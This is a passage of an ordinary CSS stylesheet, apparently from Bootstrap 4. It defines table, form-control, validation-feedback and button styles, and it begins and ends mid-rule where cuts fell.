#fff;\n}\n\n.table-sm th,\n.table-sm td {\n  padding: 0.3rem;\n}\n\n.table-bordered {\n  border: 1px solid #dee2e6;\n}\n\n.table-bordered th,\n.table-bordered td {\n  border: 1px solid #dee2e6;\n}\n\n.table-bordered thead th,\n.table-bordered thead td {\n  border-bottom-width: 2px;\n}\n\n.table-borderless th,\n.table-borderless td,\n.table-borderless thead th,\n.table-borderless tbody + tbody {\n  border: 0;\n}\n\n.table-striped tbody tr:nth-of-type(odd) {\n  background-color: rgba(0, 0, 0, 0.05);\n}\n\n.table-hover tbody tr:hover {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-primary,\n.table-primary > th,\n.table-primary > td {\n  background-color: #b8daff;\n}\n\n.table-hover .table-primary:hover {\n  background-color: #9fcdff;\n}\n\n.table-hover .table-primary:hover > td,\n.table-hover .table-primary:hover > th {\n  background-color: #9fcdff;\n}\n\n.table-secondary,\n.table-secondary > th,\n.table-secondary > td {\n  background-color: #d6d8db;\n}\n\n.table-hover .table-secondary:hover {\n  background-color: #c8cbcf;\n}\n\n.table-hover .table-secondary:hover > td,\n.table-hover .table-secondary:hover > th {\n  background-color: #c8cbcf;\n}\n\n.table-success,\n.table-success > th,\n.table-success > td {\n  background-color: #c3e6cb;\n}\n\n.table-hover .table-success:hover {\n  background-color: #b1dfbb;\n}\n\n.table-hover .table-success:hover > td,\n.table-hover .table-success:hover > th {\n  background-color: #b1dfbb;\n}\n\n.table-info,\n.table-info > th,\n.table-info > td {\n  background-color: #bee5eb;\n}\n\n.table-hover .table-info:hover {\n  background-color: #abdde5;\n}\n\n.table-hover .table-info:hover > td,\n.table-hover .table-info:hover > th {\n  background-color: #abdde5;\n}\n\n.table-warning,\n.table-warning > th,\n.table-warning > td {\n  background-color: #ffeeba;\n}\n\n.table-hover .table-warning:hover {\n  background-color: #ffe8a1;\n}\n\n.table-hover .table-warning:hover > td,\n.table-hover .table-warning:hover > th {\n  background-color: #ffe8a1;\n}\n\n.table-danger,\n.table-danger > th,\n.table-danger > td {\n  background-color: #f5c6cb;\n}\n\n.table-hover .table-danger:hover {\n  background-color: #f1b0b7;\n}\n\n.table-hover .table-danger:hover > td,\n.table-hover .table-danger:hover > th {\n  background-color: #f1b0b7;\n}\n\n.table-light,\n.table-light > th,\n.table-light > td {\n  background-color: #fdfdfe;\n}\n\n.table-hover .table-light:hover {\n  background-color: #ececf6;\n}\n\n.table-hover .table-light:hover > td,\n.table-hover .table-light:hover > th {\n  background-color: #ececf6;\n}\n\n.table-dark,\n.table-dark > th,\n.table-dark > td {\n  background-color: #c6c8ca;\n}\n\n.table-hover .table-dark:hover {\n  background-color: #b9bbbe;\n}\n\n.table-hover .table-dark:hover > td,\n.table-hover .table-dark:hover > th {\n  background-color: #b9bbbe;\n}\n\n.table-active,\n.table-active > th,\n.table-active > td {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover > td,\n.table-hover .table-active:hover > th {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table .thead-dark th {\n  color: #fff;\n  background-color: #212529;\n  border-color: #32383e;\n}\n\n.table .thead-light th {\n  color: #495057;\n  background-color: #e9ecef;\n  border-color: #dee2e6;\n}\n\n.table-dark {\n  color: #fff;\n  background-color: #212529;\n}\n\n.table-dark th,\n.table-dark td,\n.table-dark thead th {\n  border-color: #32383e;\n}\n\n.table-dark.table-bordered {\n  border: 0;\n}\n\n.table-dark.table-striped tbody tr:nth-of-type(odd) {\n  background-color: rgba(255, 255, 255, 0.05);\n}\n\n.table-dark.table-hover tbody tr:hover {\n  background-color: rgba(255, 255, 255, 0.075);\n}\n\n@media (max-width: 575.98px) {\n  .table-responsive-sm {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-sm > .table-bordered {\n    border: 0;\n  }\n}\n\n@media (max-width: 767.98px) {\n  .table-responsive-md {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-md > .table-bordered {\n    border: 0;\n  }\n}\n\n@media (max-width: 991.98px) {\n  .table-responsive-lg {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-lg > .table-bordered {\n    border: 0;\n  }\n}\n\n@media (max-width: 1199.98px) {\n  .table-responsive-xl {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-xl > .table-bordered {\n    border: 0;\n  }\n}\n\n.table-responsive {\n  display: block;\n  width: 100%;\n  overflow-x: auto;\n  -webkit-overflow-scrolling: touch;\n  -ms-overflow-style: -ms-autohiding-scrollbar;\n}\n\n.table-responsive > .table-bordered {\n  border: 0;\n}\n\n.form-control {\n  display: block;\n  width: 100%;\n  padding: 0.375rem 0.75rem;\n  font-size: 1rem;\n  line-height: 1.5;\n  color: #495057;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid #ced4da;\n  border-radius: 0.25rem;\n  transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .form-control {\n    transition: none;\n  }\n}\n\n.form-control::-ms-expand {\n  background-color: transparent;\n  border: 0;\n}\n\n.form-control:focus {\n  color: #495057;\n  background-color: #fff;\n  border-color: #80bdff;\n  outline: 0;\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.form-control::placeholder {\n  color: #6c757d;\n  opacity: 1;\n}\n\n.form-control:disabled, .form-control[readonly] {\n  background-color: #e9ecef;\n  opacity: 1;\n}\n\nselect.form-control:not([size]):not([multiple]) {\n  height: calc(2.25rem + 2px);\n}\n\nselect.form-control:focus::-ms-value {\n  color: #495057;\n  background-color: #fff;\n}\n\n.form-control-file,\n.form-control-range {\n  display: block;\n  width: 100%;\n}\n\n.col-form-label {\n  padding-top: calc(0.375rem + 1px);\n  padding-bottom: calc(0.375rem + 1px);\n  margin-bottom: 0;\n  font-size: inherit;\n  line-height: 1.5;\n}\n\n.col-form-label-lg {\n  padding-top: calc(0.5rem + 1px);\n  padding-bottom: calc(0.5rem + 1px);\n  font-size: 1.25rem;\n  line-height: 1.5;\n}\n\n.col-form-label-sm {\n  padding-top: calc(0.25rem + 1px);\n  padding-bottom: calc(0.25rem + 1px);\n  font-size: 0.875rem;\n  line-height: 1.5;\n}\n\n.form-control-plaintext {\n  display: block;\n  width: 100%;\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  margin-bottom: 0;\n  line-height: 1.5;\n  color: #212529;\n  background-color: transparent;\n  border: solid transparent;\n  border-width: 1px 0;\n}\n\n.form-control-plaintext.form-control-sm, .input-group-sm > .form-control-plaintext.form-control,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-sm > .input-group-append > .form-control-plaintext.btn, .form-control-plaintext.form-control-lg, .input-group-lg > .form-control-plaintext.form-control,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-lg > .input-group-append > .form-control-plaintext.btn {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.form-control-sm, .input-group-sm > .form-control,\n.input-group-sm > .input-group-prepend > .input-group-text,\n.input-group-sm > .input-group-append > .input-group-text,\n.input-group-sm > .input-group-prepend > .btn,\n.input-group-sm > .input-group-append > .btn {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n  border-radius: 0.2rem;\n}\n\nselect.form-control-sm:not([size]):not([multiple]), .input-group-sm > select.form-control:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.btn:not([size]):not([multiple]) {\n  height: calc(1.8125rem + 2px);\n}\n\n.form-control-lg, .input-group-lg > .form-control,\n.input-group-lg > .input-group-prepend > .input-group-text,\n.input-group-lg > .input-group-append > .input-group-text,\n.input-group-lg > .input-group-prepend > .btn,\n.input-group-lg > .input-group-append > .btn {\n  padding: 0.5rem 1rem;\n  font-size: 1.25rem;\n  line-height: 1.5;\n  border-radius: 0.3rem;\n}\n\nselect.form-control-lg:not([size]):not([multiple]), .input-group-lg > select.form-control:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.btn:not([size]):not([multiple]) {\n  height: calc(2.875rem + 2px);\n}\n\n.form-group {\n  margin-bottom: 1rem;\n}\n\n.form-text {\n  display: block;\n  margin-top: 0.25rem;\n}\n\n.form-row {\n  display: flex;\n  flex-wrap: wrap;\n  margin-right: -5px;\n  margin-left: -5px;\n}\n\n.form-row > .col,\n.form-row > [class*=\"col-\"] {\n  padding-right: 5px;\n  padding-left: 5px;\n}\n\n.form-check {\n  position: relative;\n  display: block;\n  padding-left: 1.25rem;\n}\n\n.form-check-input {\n  position: absolute;\n  margin-top: 0.3rem;\n  margin-left: -1.25rem;\n}\n\n.form-check-input:disabled ~ .form-check-label {\n  color: #6c757d;\n}\n\n.form-check-label {\n  margin-bottom: 0;\n}\n\n.form-check-inline {\n  display: inline-flex;\n  align-items: center;\n  padding-left: 0;\n  margin-right: 0.75rem;\n}\n\n.form-check-inline .form-check-input {\n  position: static;\n  margin-top: 0;\n  margin-right: 0.3125rem;\n  margin-left: 0;\n}\n\n.valid-feedback {\n  display: none;\n  width: 100%;\n  margin-top: 0.25rem;\n  font-size: 80%;\n  color: #28a745;\n}\n\n.valid-tooltip {\n  position: absolute;\n  top: 100%;\n  z-index: 5;\n  display: none;\n  max-width: 100%;\n  padding: .5rem;\n  margin-top: .1rem;\n  font-size: .875rem;\n  line-height: 1;\n  color: #fff;\n  background-color: rgba(40, 167, 69, 0.8);\n  border-radius: .2rem;\n}\n\n.was-validated .form-control:valid, .form-control.is-valid, .was-validated\n.custom-select:valid,\n.custom-select.is-valid {\n  border-color: #28a745;\n}\n\n.was-validated .form-control:valid:focus, .form-control.is-valid:focus, .was-validated\n.custom-select:valid:focus,\n.custom-select.is-valid:focus {\n  border-color: #28a745;\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .form-control:valid ~ .valid-feedback,\n.was-validated .form-control:valid ~ .valid-tooltip, .form-control.is-valid ~ .valid-feedback,\n.form-control.is-valid ~ .valid-tooltip, .was-validated\n.custom-select:valid ~ .valid-feedback,\n.was-validated\n.custom-select:valid ~ .valid-tooltip,\n.custom-select.is-valid ~ .valid-feedback,\n.custom-select.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label {\n  color: #28a745;\n}\n\n.was-validated .form-check-input:valid ~ .valid-feedback,\n.was-validated .form-check-input:valid ~ .valid-tooltip, .form-check-input.is-valid ~ .valid-feedback,\n.form-check-input.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label, .custom-control-input.is-valid ~ .custom-control-label {\n  color: #28a745;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label::before, .custom-control-input.is-valid ~ .custom-control-label::before {\n  background-color: #71dd8a;\n}\n\n.was-validated .custom-control-input:valid ~ .valid-feedback,\n.was-validated .custom-control-input:valid ~ .valid-tooltip, .custom-control-input.is-valid ~ .valid-feedback,\n.custom-control-input.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before, .custom-control-input.is-valid:checked ~ .custom-control-label::before {\n  background-color: #34ce57;\n}\n\n.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before, .custom-control-input.is-valid:focus ~ .custom-control-label::before {\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label, .custom-file-input.is-valid ~ .custom-file-label {\n  border-color: #28a745;\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label::before, .custom-file-input.is-valid ~ .custom-file-label::before {\n  border-color: inherit;\n}\n\n.was-validated .custom-file-input:valid ~ .valid-feedback,\n.was-validated .custom-file-input:valid ~ .valid-tooltip, .custom-file-input.is-valid ~ .valid-feedback,\n.custom-file-input.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-file-input:valid:focus ~ .custom-file-label, .custom-file-input.is-valid:focus ~ .custom-file-label {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.invalid-feedback {\n  display: none;\n  width: 100%;\n  margin-top: 0.25rem;\n  font-size: 80%;\n  color: #dc3545;\n}\n\n.invalid-tooltip {\n  position: absolute;\n  top: 100%;\n  z-index: 5;\n  display: none;\n  max-width: 100%;\n  padding: .5rem;\n  margin-top: .1rem;\n  font-size: .875rem;\n  line-height: 1;\n  color: #fff;\n  background-color: rgba(220, 53, 69, 0.8);\n  border-radius: .2rem;\n}\n\n.was-validated .form-control:invalid, .form-control.is-invalid, .was-validated\n.custom-select:invalid,\n.custom-select.is-invalid {\n  border-color: #dc3545;\n}\n\n.was-validated .form-control:invalid:focus, .form-control.is-invalid:focus, .was-validated\n.custom-select:invalid:focus,\n.custom-select.is-invalid:focus {\n  border-color: #dc3545;\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .form-control:invalid ~ .invalid-feedback,\n.was-validated .form-control:invalid ~ .invalid-tooltip, .form-control.is-invalid ~ .invalid-feedback,\n.form-control.is-invalid ~ .invalid-tooltip, .was-validated\n.custom-select:invalid ~ .invalid-feedback,\n.was-validated\n.custom-select:invalid ~ .invalid-tooltip,\n.custom-select.is-invalid ~ .invalid-feedback,\n.custom-select.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label {\n  color: #dc3545;\n}\n\n.was-validated .form-check-input:invalid ~ .invalid-feedback,\n.was-validated .form-check-input:invalid ~ .invalid-tooltip, .form-check-input.is-invalid ~ .invalid-feedback,\n.form-check-input.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label, .custom-control-input.is-invalid ~ .custom-control-label {\n  color: #dc3545;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label::before, .custom-control-input.is-invalid ~ .custom-control-label::before {\n  background-color: #efa2a9;\n}\n\n.was-validated .custom-control-input:invalid ~ .invalid-feedback,\n.was-validated .custom-control-input:invalid ~ .invalid-tooltip, .custom-control-input.is-invalid ~ .invalid-feedback,\n.custom-control-input.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before, .custom-control-input.is-invalid:checked ~ .custom-control-label::before {\n  background-color: #e4606d;\n}\n\n.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before, .custom-control-input.is-invalid:focus ~ .custom-control-label::before {\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label, .custom-file-input.is-invalid ~ .custom-file-label {\n  border-color: #dc3545;\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label::before, .custom-file-input.is-invalid ~ .custom-file-label::before {\n  border-color: inherit;\n}\n\n.was-validated .custom-file-input:invalid ~ .invalid-feedback,\n.was-validated .custom-file-input:invalid ~ .invalid-tooltip, .custom-file-input.is-invalid ~ .invalid-feedback,\n.custom-file-input.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-file-input:invalid:focus ~ .custom-file-label, .custom-file-input.is-invalid:focus ~ .custom-file-label {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.form-inline {\n  display: flex;\n  flex-flow: row wrap;\n  align-items: center;\n}\n\n.form-inline .form-check {\n  width: 100%;\n}\n\n@media (min-width: 576px) {\n  .form-inline label {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    margin-bottom: 0;\n  }\n  .form-inline .form-group {\n    display: flex;\n    flex: 0 0 auto;\n    flex-flow: row wrap;\n    align-items: center;\n    margin-bottom: 0;\n  }\n  .form-inline .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .form-inline .form-control-plaintext {\n    display: inline-block;\n  }\n  .form-inline .input-group,\n  .form-inline .custom-select {\n    width: auto;\n  }\n  .form-inline .form-check {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    width: auto;\n    padding-left: 0;\n  }\n  .form-inline .form-check-input {\n    position: relative;\n    margin-top: 0;\n    margin-right: 0.25rem;\n    margin-left: 0;\n  }\n  .form-inline .custom-control {\n    align-items: center;\n    justify-content: center;\n  }\n  .form-inline .custom-control-label {\n    margin-bottom: 0;\n  }\n}\n\n.btn {\n  display: inline-block;\n  font-weight: 400;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  user-select: none;\n  border: 1px solid transparent;\n  padding: 0.375rem 0.75rem;\n  font-size: 1rem;\n  line-height: 1.5;\n  border-radius: 0.25rem;\n  transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .btn {\n    transition: none;\n  }\n}\n\n.btn:hover, .btn:focus {\n  text-decoration: none;\n}\n\n.btn:focus, .btn.focus {\n  outline: 0;\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.btn.disabled, .btn:disabled {\n  opacity: 0.65;\n}\n\n.btn:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\n.btn:not(:disabled):not(.disabled):active, .btn:not(:disabled):not(.disabled).active {\n  background-image: none;\n}\n\na.btn.disabled,\nfieldset:disabled a.btn {\n  pointer-events: none;\n}\n\n.btn-primary {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-primary:hover {\n  color: #fff;\n  background-color: #0069d9;\n  border-color: #0062cc;\n}\n\n.btn-primary:focus, .btn-primary.focus {\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-primary.disabled, .btn-primary:disabled {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active, .btn-primary:not(:disabled):not(.disabled).active,\n.show > .btn-primary.dropdown-toggle {\n  color: #fff;\n  background-color: #0062cc;\n  border-color: #005cbf;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active:focus, .btn-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-primary.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-secondary {\n  color: #fff;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-secondary:hover {\n  color: #fff;\n  background-color: #5a6268;\n  border-color: #545b62;\n}\n\n.btn-secondary:focus, .btn-secondary.focus {\n  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-secondary.disabled, .btn-secondary:disabled {\n  color: #fff;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active, .btn-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-secondary.dropdown-toggle {\n  color: #fff;\n  background-color: #545b62;\n  border-color: #4e555b;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active:focus, .btn-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-secondary.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-success {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-success:hover {\n  color: #fff;\n  background-color: #218838;\n  border-color: #1e7e34;\n}\n\n.btn-success:focus, .btn-success.focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-success.disabled, .btn-success:disabled {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active,\n.show > .btn-success.dropdown-toggle {\n  color: #fff;\n  background-color: #1e7e34;\n  border-color: #1c7430;\n}\n\n.btn-success:not(:disabled):not(.disabled):active:focus, .btn-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-success.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-info {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-info:hover {\n  color: #fff;\n  background-color: #138496;\n  border-color: #117a8b;\n}\n\n.btn-info:focus, .btn-info.focus {\n  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-info.disabled, .btn-info:disabled {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active,\n.show > .btn-info.dropdown-toggle {\n  color: #fff;\n  background-color: #117a8b;\n  border-color: #10707f;\n}\n\n.btn-info:not(:disabled):not(.disabled):active:focus, .btn-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-info.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-warning {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-warning:hover {\n  color: #212529;\n  background-color: #e0a800;\n  border-color: #d39e00;\n}\n\n.btn-warning:focus, .btn-warning.focus {\n  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-warning.disabled, .btn-warning:disabled {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active, .btn-warning:not(:disabled):not(.disabled).active,\n.show > .btn-warning.dropdown-toggle {\n  color: #212529;\n  background-color: #d39e00;\n  border-color: #c69500;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active:focus, .btn-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-warning.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-danger {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-danger:hover {\n  color: #fff;\n  background-color: #c82333;\n  border-color: #bd2130;\n}\n\n.btn-danger:focus, .btn-danger.focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-danger.disabled, .btn-danger:disabled {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active, .btn-danger:not(:disabled):not(.disabled).active,\n.show > .btn-danger.dropdown-toggle {\n  color: #fff;\n  background-color: #bd2130;\n  border-color: #b21f2d;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active:focus, .btn-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-danger.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-light {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-light:hover {\n  color: #212529;\n  background-color: #e2e6ea;\n  border-color: #dae0e5;\n}\n\n.btn-light:focus, .btn-light.focus {\n  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-light.disabled, .btn-light:disabled {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-light:not(:disabled):not(.disabled):active, .btn-light:not(:disabled):not(.disabled).active,\n.show > .btn-light.dropdown-toggle {\n  color: #212529;\n  background-color: #dae0e5;\n  border-color: #d3d9df;\n}\n\n.btn-light:not(:disabled):not(.disabled):active:focus, .btn-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-light.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-dark {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-dark:hover {\n  color: #fff;\n  background-color: #23272b;\n  border-color: #1d2124;\n}\n\n.btn-dark:focus, .btn-dark.focus {\n  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-dark.disabled, .btn-dark:disabled {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active, .btn-dark:not(:disabled):not(.disabled).active,\n.show > .btn-dark.dropdown-toggle {\n  color: #fff;\n  background-color: #1d2124;\n  border-color: #171a1d;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active:focus, .btn-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-dark.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-primary {\n  color: #007bff;\n  background-color: transparent;\n  background-image: none;\n  border-color: #007bff;\n}\n\n.btn-outline-primary:hover {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-outline-primary:focus, .btn-outline-primary.focus {\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-primary.disabled, .btn-outline-primary:disabled {\n  color: #007bff;\n  background-color: transparent;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active, .btn-outline-primary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-primary.dropdown-toggle {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active:focus, .btn-outline-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-primary.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-secondary {\n  color: #6c757d;\n  background-color: transparent;\n  background-image: none;\n  border-color: #6c757d;\n}\n\n.btn-outline-secondary:hover {\n  color: #fff;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-outline-secondary:focus, .btn-outline-secondary.focus {\n  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-secondary.disabled, .btn-outline-secondary:disabled {\n  color: #6c757d;\n  background-color: transparent;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active, .btn-outline-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-secondary.dropdown-toggle {\n  color: #fff;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active:focus, .btn-outline-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-secondary.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-success {\n  color: #28a745;\n  background-color: transparent;\n  background-image: none;\n  border-color: #28a745;\n}\n\n.btn-outline-success:hover {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-outline-success:focus, .btn-outline-success.focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-success.disabled, .btn-outline-success:disabled {\n  color: #28a745;\n  background-color: transparent;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active, .btn-outline-success:not(:disabled):not(.disabled).active,\n.show > .btn-outline-success.dropdown-toggle {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active:focus, .btn-outline-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-success.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-info {\n  color: #17a2b8;\n  background-color: transparent;\n  background-image: none;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:hover {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:focus, .btn-outline-info.focus {\n  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-info.disabled, .btn-outline-info:disabled {\n  color: #17a2b8;\n  background-color: transparent;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active, .btn-outline-info:not(:disabled):not(.disabled).active,\n.show > .btn-outline-info.dropdown-toggle {\n  color: #fff;\n  background-color: 